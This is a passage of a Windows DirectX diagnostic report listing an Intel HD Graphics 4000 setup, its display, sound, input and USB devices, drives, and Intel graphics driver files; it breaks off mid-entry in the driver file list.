{5A54A0C9-C7EC-4BD9-8EDE-F3C75DC4393B}: Format(In/Out)=(IMC4,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {335AA36E-7884-43A4-9C91-7F87FAF3E37E}: Format(In/Out)=(IMC4,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {6CB69578-7617-4637-91E5-1C02DB810285}: Format(In/Out)=(S340,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {F9F19DA5-3B09-4B2F-9D89-C64753E3EAAB}: Format(In/Out)=(S340,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {5A54A0C9-C7EC-4BD9-8EDE-F3C75DC4393B}: Format(In/Out)=(S340,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {335AA36E-7884-43A4-9C91-7F87FAF3E37E}: Format(In/Out)=(S340,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {6CB69578-7617-4637-91E5-1C02DB810285}: Format(In/Out)=(S342,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {F9F19DA5-3B09-4B2F-9D89-C64753E3EAAB}: Format(In/Out)=(S342,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {5A54A0C9-C7EC-4BD9-8EDE-F3C75DC4393B}: Format(In/Out)=(S342,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= {335AA36E-7884-43A4-9C91-7F87FAF3E37E}: Format(In/Out)=(S342,UNKNOWN) Frames(Prev/Fwd/Back)=(0,0,0) Caps= D3D9 Overlay: Supported DXVA-HD: Supported DDraw Status: Enabled D3D Status: Enabled AGP Status: Enabled Card name: Intel(R) HD Graphics 4000 Manufacturer: Intel Corporation Chip type: Intel(R) HD Graphics Family DAC type: Internal Device Type: Full Device Device Key: Enum\PCI\VEN_8086&DEV_0162&SUBSYS_01621849&REV_09 Display Memory: 1664 MB Dedicated Memory: 32 MB Shared Memory: 1632 MB Current Mode: 1920 x 1080 (32 bit) (59Hz) Monitor Name: SyncMaster 2233SW,SyncMaster Magic CX2233SW(Analog) Monitor Model: SyncMaster Monitor Id: SAM049A Native Mode: 1920 x 1080(p) (59.934Hz) Output Type: HD15 Driver Name: igdumd64.dll,igd10umd64.dll,igd10umd64.dll,igdumdx32,igd10umd32,igd10umd32 Driver File Version: 9.17.0010.2932 (English) Driver Version: 9.17.10.2932 DDI Version: 11 Feature Levels: 11.0,10.1,10.0,9.3,9.2,9.1 Driver Model: WDDM 1.2 Graphics Preemption: DMA Compute Preemption: Thread group Driver Attributes: Final Retail Driver Date/Size: 12/14/2012 02:42:34, 12615680 bytes WHQL Logo'd: Yes WHQL Date Stamp: Device Identifier: {D7B78E66-4222-11CF-8D70-6821B7C2C435} Vendor ID: 0x8086 Device ID: 0x0162 SubSys ID: 0x01621849 Revision ID: 0x0009 Driver Strong Name: oem3.inf:5f63e53413eb6103:iIVBD0:9.17.10.2932:pci\ven_8086&dev_0162 Rank Of Driver: 00E02001 Video Accel: ModeMPEG2_A ModeMPEG2_C ModeWMV9_C ModeVC1_C DXVA2 Modes: DXVA2_ModeMPEG2_VLD DXVA2_ModeMPEG2_IDCT DXVA2_ModeWMV9_IDCT DXVA2_ModeVC1_IDCT DXVA2_ModeH264_VLD_NoFGT Deinterlace Caps: {BF752EF6-8CC4-457A-BE1B-08BD1CAEEE9F}: Format(In/Out)=(YUY2,YUY2) Frames(Prev/Fwd/Back)=(0,0,1) Caps=VideoProcess_YUV2RGB VideoProcess_StretchX VideoProcess_StretchY VideoProcess_AlphaBlend DeinterlaceTech_EdgeFiltering {335AA36E-7884-43A4-9C91-7F87FAF3E37E}: Format(In/Out)=(YUY2,YUY2) Frames(Prev/Fwd/Back)=(0,0,0) Caps=VideoProcess_YUV2RGB VideoProcess_StretchX VideoProcess_StretchY VideoProcess_AlphaBlend DeinterlaceTech_BOBVerticalStretch {5A54A0C9-C7EC-4BD9-8EDE-F3C75DC4393B}: Format(In/Out)=(YUY2,YUY2) Frames(Prev/Fwd/Back)=(0,0,0) Caps=VideoProcess_YUV2RGB VideoProcess_StretchX VideoProcess_StretchY VideoProcess_AlphaBlend {BF752EF6-8CC4-457A-BE1B-08BD1CAEEE9F}: Format(In/Out)=(UYVY,YUY2) Frames(Prev/Fwd/Back)=(0,0,1) Caps=VideoProcess_YUV2RGB VideoProcess_StretchX VideoProcess_StretchY VideoProcess_AlphaBlend DeinterlaceTech_EdgeFiltering {335AA36E-7884-43A4-9C91-7F87FAF3E37E}: Format(In/Out)=(UYVY,YUY2) Frames(Prev/Fwd/Back)=(0,0,0) Caps=VideoProcess_YUV2RGB VideoProcess_StretchX VideoProcess_StretchY VideoProcess_AlphaBlend DeinterlaceTech_BOBVerticalStretch {5A54A0C9-C7EC-4BD9-8EDE-F3C75DC4393B}: Format(In/Out)=(UYVY,YUY2) Frames(Prev/Fwd/Back)=(0,0,0) Caps=VideoProcess_YUV2RGB VideoProcess_StretchX VideoProcess_StretchY VideoProcess_AlphaBlend {BF752EF6-8CC4-457A-BE1B-08BD1CAEEE9F}: Format(In/Out)=(YV12,YUY2) Frames(Prev/Fwd/Back)=(0,0,1) Caps=VideoProcess_YUV2RGB VideoProcess_StretchX VideoProcess_StretchY VideoProcess_AlphaBlend DeinterlaceTech_EdgeFiltering {335AA36E-7884-43A4-9C91-7F87FAF3E37E}: Format(In/Out)=(YV12,YUY2) Frames(Prev/Fwd/Back)=(0,0,0) Caps=VideoProcess_YUV2RGB VideoProcess_StretchX VideoProcess_StretchY VideoProcess_AlphaBlend DeinterlaceTech_BOBVerticalStretch {5A54A0C9-C7EC-4BD9-8EDE-F3C75DC4393B}: Format(In/Out)=(YV12,YUY2) Frames(Prev/Fwd/Back)=(0,0,0) Caps=VideoProcess_YUV2RGB VideoProcess_StretchX VideoProcess_StretchY VideoProcess_AlphaBlend {BF752EF6-8CC4-457A-BE1B-08BD1CAEEE9F}: Format(In/Out)=(NV12,YUY2) Frames(Prev/Fwd/Back)=(0,0,1) Caps=VideoProcess_YUV2RGB VideoProcess_StretchX VideoProcess_StretchY VideoProcess_AlphaBlend DeinterlaceTech_EdgeFiltering {335AA36E-7884-43A4-9C91-7F87FAF3E37E}: Format(In/Out)=(NV12,YUY2) Frames(Prev/Fwd/Back)=(0,0,0) Caps=VideoProcess_YUV2RGB VideoProcess_StretchX VideoProcess_StretchY VideoProcess_AlphaBlend DeinterlaceTech_BOBVerticalStretch {5A54A0C9-C7EC-4BD9-8EDE-F3C75DC4393B}: Format(In/Out)=(NV12,YUY2) Frames(Prev/Fwd/Back)=(0,0,0) Caps=VideoProcess_YUV2RGB VideoProcess_StretchX VideoProcess_StretchY VideoProcess_AlphaBlend {BF752EF6-8CC4-457A-BE1B-08BD1CAEEE9F}: Format(In/Out)=(IMC1,YUY2) Frames(Prev/Fwd/Back)=(0,0,1) Caps=VideoProcess_YUV2RGB VideoProcess_StretchX VideoProcess_StretchY VideoProcess_AlphaBlend DeinterlaceTech_EdgeFiltering {335AA36E-7884-43A4-9C91-7F87FAF3E37E}: Format(In/Out)=(IMC1,YUY2) Frames(Prev/Fwd/Back)=(0,0,0) Caps=VideoProcess_YUV2RGB VideoProcess_StretchX VideoProcess_StretchY VideoProcess_AlphaBlend DeinterlaceTech_BOBVerticalStretch {5A54A0C9-C7EC-4BD9-8EDE-F3C75DC4393B}: Format(In/Out)=(IMC1,YUY2) Frames(Prev/Fwd/Back)=(0,0,0) Caps=VideoProcess_YUV2RGB VideoProcess_StretchX VideoProcess_StretchY VideoProcess_AlphaBlend {BF752EF6-8CC4-457A-BE1B-08BD1CAEEE9F}: Format(In/Out)=(IMC2,YUY2) Frames(Prev/Fwd/Back)=(0,0,1) Caps=VideoProcess_YUV2RGB VideoProcess_StretchX VideoProcess_StretchY VideoProcess_AlphaBlend DeinterlaceTech_EdgeFiltering {335AA36E-7884-43A4-9C91-7F87FAF3E37E}: Format(In/Out)=(IMC2,YUY2) Frames(Prev/Fwd/Back)=(0,0,0) Caps=VideoProcess_YUV2RGB VideoProcess_StretchX VideoProcess_StretchY VideoProcess_AlphaBlend DeinterlaceTech_BOBVerticalStretch {5A54A0C9-C7EC-4BD9-8EDE-F3C75DC4393B}: Format(In/Out)=(IMC2,YUY2) Frames(Prev/Fwd/Back)=(0,0,0) Caps=VideoProcess_YUV2RGB VideoProcess_StretchX VideoProcess_StretchY VideoProcess_AlphaBlend {BF752EF6-8CC4-457A-BE1B-08BD1CAEEE9F}: Format(In/Out)=(IMC3,YUY2) Frames(Prev/Fwd/Back)=(0,0,1) Caps=VideoProcess_YUV2RGB VideoProcess_StretchX VideoProcess_StretchY VideoProcess_AlphaBlend DeinterlaceTech_EdgeFiltering {335AA36E-7884-43A4-9C91-7F87FAF3E37E}: Format(In/Out)=(IMC3,YUY2) Frames(Prev/Fwd/Back)=(0,0,0) Caps=VideoProcess_YUV2RGB VideoProcess_StretchX VideoProcess_StretchY VideoProcess_AlphaBlend DeinterlaceTech_BOBVerticalStretch {5A54A0C9-C7EC-4BD9-8EDE-F3C75DC4393B}: Format(In/Out)=(IMC3,YUY2) Frames(Prev/Fwd/Back)=(0,0,0) Caps=VideoProcess_YUV2RGB VideoProcess_StretchX VideoProcess_StretchY VideoProcess_AlphaBlend {BF752EF6-8CC4-457A-BE1B-08BD1CAEEE9F}: Format(In/Out)=(IMC4,YUY2) Frames(Prev/Fwd/Back)=(0,0,1) Caps=VideoProcess_YUV2RGB VideoProcess_StretchX VideoProcess_StretchY VideoProcess_AlphaBlend DeinterlaceTech_EdgeFiltering {335AA36E-7884-43A4-9C91-7F87FAF3E37E}: Format(In/Out)=(IMC4,YUY2) Frames(Prev/Fwd/Back)=(0,0,0) Caps=VideoProcess_YUV2RGB VideoProcess_StretchX VideoProcess_StretchY VideoProcess_AlphaBlend DeinterlaceTech_BOBVerticalStretch {5A54A0C9-C7EC-4BD9-8EDE-F3C75DC4393B}: Format(In/Out)=(IMC4,YUY2) Frames(Prev/Fwd/Back)=(0,0,0) Caps=VideoProcess_YUV2RGB VideoProcess_StretchX VideoProcess_StretchY VideoProcess_AlphaBlend D3D9 Overlay: Supported DXVA-HD: Supported DDraw Status: Enabled D3D Status: Enabled AGP Status: Enabled ------------- Sound Devices ------------- Description: Speakers (Plantronics GameCom 780) Default Sound Playback: Yes Default Voice Playback: Yes Hardware ID: USB\VID_047F&PID_C010&REV_0100&MI_00 Manufacturer ID: 65535 Product ID: 65535 Type: WDM Driver Name: USBAUDIO.sys Driver Version: 6.02.9200.16384 (English) Driver Attributes: Final Retail WHQL Logo'd: Yes Date and Size: 7/26/2012 03:26:27, 121856 bytes Other Files: Driver Provider: Microsoft HW Accel Level: Basic Cap Flags: 0xF1F Min/Max Sample Rate: 100, 200000 Static/Strm HW Mix Bufs: 1, 0 Static/Strm HW 3D Bufs: 0, 0 HW Memory: 0 Voice Management: No EAX(tm) 2.0 Listen/Src: No, No I3DL2(tm) Listen/Src: No, No Sensaura(tm) ZoomFX(tm): No Description: Speakers (High Definition Audio Device) Default Sound Playback: No Default Voice Playback: No Hardware ID: HDAUDIO\FUNC_01&VEN_10EC&DEV_0899&SUBSYS_18491898&REV_1000 Manufacturer ID: 1 Product ID: 65535 Type: WDM Driver Name: HdAudio.sys Driver Version: 6.02.9200.16384 (English) Driver Attributes: Final Retail WHQL Logo'd: Yes Date and Size: 7/26/2012 03:26:51, 339968 bytes Other Files: Driver Provider: Microsoft HW Accel Level: Basic Cap Flags: 0xF1F Min/Max Sample Rate: 100, 200000 Static/Strm HW Mix Bufs: 1, 0 Static/Strm HW 3D Bufs: 0, 0 HW Memory: 0 Voice Management: No EAX(tm) 2.0 Listen/Src: No, No I3DL2(tm) Listen/Src: No, No Sensaura(tm) ZoomFX(tm): No Description: Digital Audio (S/PDIF) (High Definition Audio Device) Default Sound Playback: No Default Voice Playback: No Hardware ID: HDAUDIO\FUNC_01&VEN_10EC&DEV_0899&SUBSYS_18491898&REV_1000 Manufacturer ID: 1 Product ID: 65535 Type: WDM Driver Name: HdAudio.sys Driver Version: 6.02.9200.16384 (English) Driver Attributes: Final Retail WHQL Logo'd: Yes Date and Size: 7/26/2012 03:26:51, 339968 bytes Other Files: Driver Provider: Microsoft HW Accel Level: Basic Cap Flags: 0xF1F Min/Max Sample Rate: 100, 200000 Static/Strm HW Mix Bufs: 1, 0 Static/Strm HW 3D Bufs: 0, 0 HW Memory: 0 Voice Management: No EAX(tm) 2.0 Listen/Src: No, No I3DL2(tm) Listen/Src: No, No Sensaura(tm) ZoomFX(tm): No --------------------- Sound Capture Devices --------------------- Description: Microphone (Plantronics GameCom 780) Default Sound Capture: Yes Default Voice Capture: Yes Driver Name: USBAUDIO.sys Driver Version: 6.02.9200.16384 (English) Driver Attributes: Final Retail Date and Size: 7/26/2012 03:26:27, 121856 bytes Cap Flags: 0x1 Format Flags: 0xFFFFF Description: SPDIF Interface (Plantronics GameCom 780) Default Sound Capture: No Default Voice Capture: No Driver Name: USBAUDIO.sys Driver Version: 6.02.9200.16384 (English) Driver Attributes: Final Retail Date and Size: 7/26/2012 03:26:27, 121856 bytes Cap Flags: 0x1 Format Flags: 0xFFFFF Description: Line (Plantronics GameCom 780) Default Sound Capture: No Default Voice Capture: No Driver Name: USBAUDIO.sys Driver Version: 6.02.9200.16384 (English) Driver Attributes: Final Retail Date and Size: 7/26/2012 03:26:27, 121856 bytes Cap Flags: 0x1 Format Flags: 0xFFFFF ------------------- DirectInput Devices ------------------- Device Name: Mouse Attached: 1 Controller ID: n/a Vendor/Product ID: n/a FF Driver: n/a Device Name: Keyboard Attached: 1 Controller ID: n/a Vendor/Product ID: n/a FF Driver: n/a Device Name: Plantronics GameCom 780 Attached: 1 Controller ID: 0x0 Vendor/Product ID: 0x047F, 0xC010 FF Driver: n/a Poll w/ Interrupt: No ----------- USB Devices ----------- + USB Root Hub | Vendor/Product ID: 0x8086, 0x1E2D | Matching Device ID: USB\ROOT_HUB20 | Service: usbhub | Driver: usbhub.sys, 7/26/2012 06:00:58, 496368 bytes | Driver: usbd.sys, 7/26/2012 06:00:58, 21744 bytes | +-+ Generic USB Hub | | Vendor/Product ID: 0x8087, 0x0024 | | Location: Port_#0001.Hub_#0001 | | Matching Device ID: USB\Class_09 | | Service: usbhub | | Driver: usbhub.sys, 7/26/2012 06:00:58, 496368 bytes | | Driver: usbd.sys, 7/26/2012 06:00:58, 21744 bytes ---------------- Gameport Devices ---------------- ------------ PS/2 Devices ------------ + Standard PS/2 Keyboard | Matching Device ID: *PNP0303 | Service: i8042prt | Driver: i8042prt.sys, 7/26/2012 03:28:51, 112640 bytes | Driver: kbdclass.sys, 7/26/2012 06:00:52, 48368 bytes | + HID Keyboard Device | Vendor/Product ID: 0x1532, 0x0015 | Matching Device ID: HID_DEVICE_SYSTEM_KEYBOARD | Service: kbdhid | Driver: kbdhid.sys, 7/26/2012 03:28:49, 29184 bytes | Driver: kbdclass.sys, 7/26/2012 06:00:52, 48368 bytes | + HID-compliant mouse | Vendor/Product ID: 0x1532, 0x0015 | Matching Device ID: HID_DEVICE_SYSTEM_MOUSE | Service: mouhid | Driver: mouhid.sys, 7/26/2012 03:28:47, 26112 bytes | Driver: mouclass.sys, 7/26/2012 06:00:55, 45808 bytes ------------------------ Disk & DVD/CD-ROM Drives ------------------------ Drive: C: Free Space: 1843.8 GB Total Space: 1874.6 GB File System: NTFS Model: ST2000DM001-1CH164 Drive: D: Free Space: 273.0 GB Total Space: 715.4 GB File System: NTFS Model: WDC WD7500AACS-00D6B0 Drive: E: Model: PIONEER DVD-RW DVR-220L Driver: c:\windows\system32\drivers\cdrom.sys, 6.02.9200.16384 (English), 7/26/2012 03:26:36, 174080 bytes -------------- System Devices -------------- Name: Intel(R) 7 Series/C216 Chipset Family USB Enhanced Host Controller - 1E2D Device ID: PCI\VEN_8086&DEV_1E2D&SUBSYS_1E2D1849&REV_04\3&11583659&0&D0 Driver: C:\WINDOWS\system32\drivers\usbehci.sys, 6.02.9200.16384 (English), 7/26/2012 06:00:58, 78576 bytes Driver: C:\WINDOWS\system32\drivers\usbport.sys, 6.02.9200.16384 (English), 7/26/2012 06:00:58, 487664 bytes Driver: C:\WINDOWS\system32\drivers\usbhub.sys, 6.02.9200.16384 (English), 7/26/2012 06:00:58, 496368 bytes Name: Intel(R) 7 Series/C216 Chipset Family USB Enhanced Host Controller - 1E26 Device ID: PCI\VEN_8086&DEV_1E26&SUBSYS_1E261849&REV_04\3&11583659&0&E8 Driver: C:\WINDOWS\system32\drivers\usbehci.sys, 6.02.9200.16384 (English), 7/26/2012 06:00:58, 78576 bytes Driver: C:\WINDOWS\system32\drivers\usbport.sys, 6.02.9200.16384 (English), 7/26/2012 06:00:58, 487664 bytes Driver: C:\WINDOWS\system32\drivers\usbhub.sys, 6.02.9200.16384 (English), 7/26/2012 06:00:58, 496368 bytes Name: High Definition Audio Controller Device ID: PCI\VEN_8086&DEV_1E20&SUBSYS_18981849&REV_04\3&11583659&0&D8 Driver: C:\WINDOWS\system32\DRIVERS\hdaudbus.sys, 6.02.9200.16384 (English), 7/26/2012 03:27:36, 71168 bytes Name: Intel(R) 7 Series/C216 Chipset Family SMBus Host Controller - 1E22 Device ID: PCI\VEN_8086&DEV_1E22&SUBSYS_1E221849&REV_04\3&11583659&0&FB Driver: n/a Name: Intel(R) 7 Series/C216 Chipset Family PCI Express Root Port 5 - 1E18 Device ID: PCI\VEN_8086&DEV_1E18&SUBSYS_1E181849&REV_C4\3&11583659&0&E4 Driver: C:\WINDOWS\system32\DRIVERS\pci.sys, 6.02.9200.16384 (English), 7/26/2012 06:00:55, 234224 bytes Name: Intel(R) 7 Series/C216 Chipset Family PCI Express Root Port 4 - 1E16 Device ID: PCI\VEN_8086&DEV_1E16&SUBSYS_1E161849&REV_C4\3&11583659&0&E3 Driver: C:\WINDOWS\system32\DRIVERS\pci.sys, 6.02.9200.16384 (English), 7/26/2012 06:00:55, 234224 bytes Name: High Definition Audio Controller Device ID: PCI\VEN_10DE&DEV_0E0A&SUBSYS_355A1458&REV_A1\4&15001D53&0&0108 Driver: C:\WINDOWS\system32\DRIVERS\hdaudbus.sys, 6.02.9200.16384 (English), 7/26/2012 03:27:36, 71168 bytes Name: Intel(R) 7 Series/C216 Chipset Family PCI Express Root Port 1 - 1E10 Device ID: PCI\VEN_8086&DEV_1E10&SUBSYS_1E101849&REV_C4\3&11583659&0&E0 Driver: C:\WINDOWS\system32\DRIVERS\pci.sys, 6.02.9200.16384 (English), 7/26/2012 06:00:55, 234224 bytes Name: Intel(R) HD Graphics 4000 Device ID: PCI\VEN_8086&DEV_0162&SUBSYS_01621849&REV_09\3&11583659&0&10 Driver: C:\WINDOWS\system32\DRIVERS\igdkmd64.sys, 9.17.0010.2932 (English), 12/14/2012 02:42:22, 5353888 bytes Driver: C:\WINDOWS\system32\igdumd64.dll, 9.17.0010.2932 (English), 12/14/2012 02:42:34, 12615680 bytes Driver: C:\WINDOWS\system32\igd10umd64.dll, 9.17.0010.2932 (English), 12/14/2012 02:42:26, 12858368 bytes Driver: C:\WINDOWS\system32\igfxcmrt64.dll, 2.04.0000.1019 (English), 12/14/2012 02:42:20, 518656 bytes Driver: C:\WINDOWS\system32\igfx11cmrt64.dll, 2.04.0000.1019 (English), 12/14/2012 02:42:26, 483840 bytes Driver: C:\WINDOWS\system32\igfxcmjit64.dll, 2.04.0000.1019 (English), 12/14/2012 02:42:12, 3511296 bytes Driver: C:\WINDOWS\system32\IccLibDll_x64.dll, 12/14/2012 02:42:12, 94208 bytes Driver: C:\WINDOWS\system32\igcodeckrng700.bin, 12/14/2012 02:42:24, 754652 bytes Driver: C:\WINDOWS\system32\igvpkrng700.bin, 12/14/2012 02:42:24, 598384 bytes Driver: C:\WINDOWS\SysWow64\igcodeckrng700.bin, 12/14/2012 02:42:24, 754652 bytes Driver: C:\WINDOWS\SysWow64\igvpkrng700.bin, 12/14/2012 02:42:24, 598384 bytes Driver: C:\WINDOWS\system32\igdde64.dll, 12/14/2012 02:42:24, 80384 bytes Driver: C:\WINDOWS\SysWow64\igdde32.dll, 12/14/2012 02:42:30, 64512 bytes Driver: C:\WINDOWS\system32\iglhxs64.vp, 12/14/2012 02:42:20, 17102 bytes Driver: C:\WINDOWS\system32\iglhxo64.vp, 6/2/2012 15:32:34, 59425 bytes Driver: C:\WINDOWS\system32\iglhxc64.vp, 6/2/2012 15:32:34, 59230 bytes Driver: C:\WINDOWS\system32\iglhxg64.vp, 6/2/2012 15:32:34, 59398 bytes Driver: C:\WINDOWS\system32\iglhxo64_dev.vp, 6/2/2012 15:32:34, 58109 bytes Driver: C:\WINDOWS\system32\iglhxc64_dev.vp, 6/2/2012 15:32:34, 59104 bytes Driver: C:\WINDOWS\system32\iglhxg64_dev.vp, 6/2/2012 15:32:34, 58796 bytes Driver: C:\WINDOWS\system32\iglhxa64.vp, 6/2/2012 15:32:34, 1074 bytes Driver: C:\WINDOWS\system32\iglhxa64.cpa, 6/2/2012 15:32:34, 1981696 bytes Driver: C:\WINDOWS\system32\iglhcp64.dll, 3.00.0001.0016 (English), 12/14/2012 02:42:10, 216064 bytes Driver: C:\WINDOWS\system32\iglhsip64.dll, 3.00.0000.0012 (English), 12/14/2012 02:42:24, 524800 bytes Driver: C:\WINDOWS\SysWow64\igdumd32.dll, 9.17.0010.2932 (English), 12/14/2012 02:42:24, 11049472 bytes Driver: C:\WINDOWS\SysWow64\igfxdv32.dll, 8.15.0010.2932 (English), 12/14/2012 02:42:30, 330752 bytes Driver: C:\WINDOWS\SysWow64\igd10umd32.dll, 9.17.0010.2932 (English), 12/14/2012 02:42:30, 11174912 bytes Driver: C:\WINDOWS\SysWow64\iglhcp32.dll, 3.00.0001.0015 (English), 12/14/2012 02:42:30, 180224 bytes Driver: C:\WINDOWS\SysWow64\iglhsip32.dll, 3.00.0000.0012 (English), 12/14/2012 02:42:24, 519680 bytes Driver: C:\WINDOWS\SysWow64\IntelCpHeciSvc.exe, 1.00.0001.0014 (English), 12/14/2012 02:42:10, 277616 bytes Driver: C:\WINDOWS\SysWow64\igfxcmrt32.dll, 2.04.0000.1019 (English), 12/14/2012 02:42:28, 640512 bytes Driver: C:\WINDOWS\SysWow64\igfx11cmrt32.dll, 2.04.0000.1019 (English), 12/14/2012 02:42:24, 459264 bytes Driver: C:\WINDOWS\SysWow64\igfxcmjit32.dll, 2.04.0000.1019 (English), 12/14/2012 02:42:28, 3121152 bytes Driver: C:\WINDOWS\system32\difx64.exe, 1.04.0002.0000 (English), 12/14/2012 02:42:22, 185968 bytes Driver: C:\WINDOWS\system32\hccutils.dll, 8.15.0010.2932 (English), 12/14/2012 02:42:30, 110592 bytes Driver: C:\WINDOWS\system32\igfxsrvc.dll, 8.15.0010.2932 (English), 12/14/2012 02:42:30, 64000 bytes Driver: C:\WINDOWS\system32\igfxsrvc.exe, 8.15.0010.2932 (English), 12/14/2012 02:42:28, 512112 bytes Driver: C:\WINDOWS\system32\igfxpph.dll, 8.15.0010.2932 (English), 12/14/2012 02:42:34, 384512 bytes Driver: C:\WINDOWS\system32\igfxcpl.cpl, 8.15.0010.2932 (English), 12/14/2012 02:42:16, 126976 bytes Driver: C:\WINDOWS\system32\igfxdev.dll, 8.15.0010.2932 (English), 12/14/2012 02:42:16, 442880 bytes Driver: C:\WINDOWS\system32\igfxdo.dll, 8.15.0010.2932 (English), 12/14/2012 02:42:24, 142336 bytes Driver: C:\WINDOWS\system32\igfxtray.exe, 8.15.0010.2932 (English), 12/14/2012 02:42:14, 172144 bytes Driver: C:\WINDOWS\system32\hkcmd.exe, 8.15.0010.2932 (English), 12/14/2012 02:42:10, 399984 bytes Driver: C:\WINDOWS\system32\igfxress.dll, 8.15.0010.2932 (English), 12/14/2012 02:42:26, 9007616 bytes Driver: C:\WINDOWS\system32\igfxpers.exe, 8.15.0010.2932 (English), 12/14/2012 02:42:14, 441968 bytes Driver: C:\WINDOWS\system32\igfxTMM.dll, 8.15.0010.2932 (English), 12/14/2012 02:42:14, 410112 bytes Driver: C:\WINDOWS\system32\gfxSrvc.dll, 8.15.0010.2932 (English), 12/14/2012 02:42:12, 175104 bytes Driver: C:\WINDOWS\system32\GfxUI.exe, 8.15.0010.2932 (English), 12/14/2012 02:42:12, 5906032 bytes Driver: C:\WINDOWS\system32\GfxUI.exe.config, 12/14/2012 02:42:28, 268 bytes Driver: C:\WINDOWS\system32\IGFXDEVLib.dll, 1.00.0000.0000 (Invariant Language), 12/14/2012 02:42:36, 9728 bytes Driver: C:\WINDOWS\system32\igfxext.exe, 8.15.0010.2932 (English), 12/14/2012 02:42:28, 255088 bytes Driver: C:\WINDOWS\system32\igfxexps.dll, 8.15.0010.2932 (English), 12/14/2012 02:42:30, 28672 bytes Driver: C:\WINDOWS\SysWow64\igfxexps32.dll, 8.15.0010.2932 (English), 12/14/2012 02:42:22, 25088 bytes Driver: C:\WINDOWS\system32\igfxrara.lrc, 8.15.0010.2932 (English), 12/14/2012 02:42:30, 435712 bytes Driver: C:\WINDOWS\system32\igfxrchs.lrc, 8.15.0010.2932 (English), 12/14/2012 02:42:26, 428544 bytes Driver: C:\WINDOWS\system32\igfxrcht.lrc, 8.15.0010.2932 (English), 12/14/2012 02:42:30, 429056 bytes Driver: C:\WINDOWS\system32\igfxrdan.lrc, 8.15.0010.2932 (English), 12/14/2012 02:42:16, 437248 bytes Driver: C:\WINDOWS\system32\igfxrdeu.lrc, 8.15.0010.2932 (English), 12/14/2012 02:42:28, 438784 bytes Driver: C:\WINDOWS\system32\igfxrenu.lrc, 8.15.0010.2932 (English), 12/14/2012 02:42:24, 286208 bytes Driver: C:\WINDOWS\system32\igfxresn.lrc, 8.15.0010.2932 (English), 12/14/2012 02:42:26, 439808 bytes Driver: C:\WINDOWS\system32\igfxrfin.lrc, 8.15.0010.2932 (English), 12/14/2012 02:42:20, 438272 bytes Driver: C:\WINDOWS\system32\igfxrfra.lrc, 8.15.0010.2932 (English), 12/14/2012 02:42:14, 439808 bytes Driver: C:\WINDOWS\system32\igfxrheb.lrc, 8.15.0010.2932 (English), 12/14/2012 02:42:30, 435712 bytes Driver: C:\WINDOWS\system32\igfxrhrv.lrc, 8.15.0010.2932 (English), 12/14/2012 02:42:12, 438784 bytes Driver: C:\WINDOWS\system32\igfxrita.lrc, 8.15.0010.2932 (English), 12/14/2012 02:42:16, 438784 bytes Driver: C:\WINDOWS\system32\igfxrjpn.lrc, 8.15.0010.2932 (English), 12/14/2012 02:42:20, 432128 bytes Driver: C:\WINDOWS\system32\igfxrkor.lrc, 8.15.0010.2932 (English), 12/14/2012 02:42:30, 431104 bytes Driver: C:\WINDOWS\system32\igfxrnld.lrc, 8.15.0010.2932 (English), 12/14/2012 02:42:28, 438784 bytes Driver: C:\WINDOWS\system32\igfxrnor.lrc, 8.15.0010.2932 (English), 12/14/2012 02:42:36, 437760 bytes Driver: C:\WINDOWS\system32\igfxrplk.lrc, 8.15.0010.2932 (English), 12/14/2012 02:42:12, 438784 bytes Driver: C:\WINDOWS\system32\igfxrptb.lrc, 8.15.0010.2932 (English), 12/14/2012 02:42:30, 437760 bytes Driver: C:\WINDOWS\system32\igfxrptg.lrc, 8.15.0010.2932 (English), 12/14/2012 02:42:24, 438784 bytes Driver: C:\WINDOWS\system32\igfxrrom.lrc, 8.15.0010.2932 (English), 12/14/2012 02:42:22, 439296 bytes Driver: C:\WINDOWS\system32\igfxrrus.lrc, 8.15.0010.2932 (English), 12/14/2012 02:42:24, 439296 bytes Driver: C:\WINDOWS\system32\igfxrsky.lrc, 8.15.0010.2932 (English), 12/14/2012 02:42:12, 438784 bytes Driver: C:\WINDOWS\system32\igfxrslv.lrc, 8.15.0010.2932 (English), 12/14/2012 02:42:10, 437760 bytes Driver: C:\WINDOWS\system32\igfxrsve.lrc, 8.15.0010.2932 (English), 12/14/2012 02:42:20, 437760 bytes Driver: C:\WINDOWS\system32\igfxrtha.lrc, 8.15.0010.2932 (English), 12/14/2012 02:42:30, 437248 bytes Driver: C:\WINDOWS\system32\igfxrcsy.lrc, 8.15.0010.2932 (English), 12/14/2012 02:42:22, 438272 bytes Driver: C:\WINDOWS\system32\igfxrell.lrc, 8.15.0010.2932 (English), 12/14/2012 02:42:30, 440320 bytes Driver: C:\WINDOWS\system32\igfxrhun.lrc, 8.15.0010.2932 (English), 12/14/2012 02:42:16, 438272 bytes Driver: C:\WINDOWS\system32\igfxrtrk.lrc, 8.15.0010.2932 (English), 12/14/2012 02:42:26, 437760 bytes Driver: C:\WINDOWS\system32\Gfxres.ar-SA.resources, 12/14/2012 02:42:30, 166124 bytes Driver: C:\WINDOWS\system32\Gfxres.cs-CZ.resources, 12/14/2012 02:42:12, 142267 bytes Driver: C:\WINDOWS\system32\Gfxres.da-DK.resources, 12/14/2012 02:42:16, 137132 bytes Driver: C:\WINDOWS\system32\Gfxres.de-DE.resources, 12/14/2012 02:42:28, 147360 bytes Driver: C:\WINDOWS\system32\Gfxres.el-GR.resources, 12/14/2012 02:42:30, 209986 bytes Driver: C:\WINDOWS\system32\Gfxres.es-ES.resources, 12/14/2012 02:42:22, 147269 bytes Driver: C:\WINDOWS\system32\Gfxres.en-US.resources, 12/14/2012 02:42:30, 132623 bytes Driver: C:\WINDOWS\system32\Gfxres.fi-FI.resources, 12/14/2012 02:42:22, 141998 bytes Driver: C:\WINDOWS\system32\Gfxres.fr-FR.resources, 12/14/2012 02:42:36, 145470 bytes Driver: C:\WINDOWS\system32\Gfxres.he-IL.resources, 12/14/2012 02:42:10, 158986 bytes Driver: C:\WINDOWS\system32\Gfxres.hr-HR.resources, 12/14/2012 02:42:30, 141038 bytes Driver: 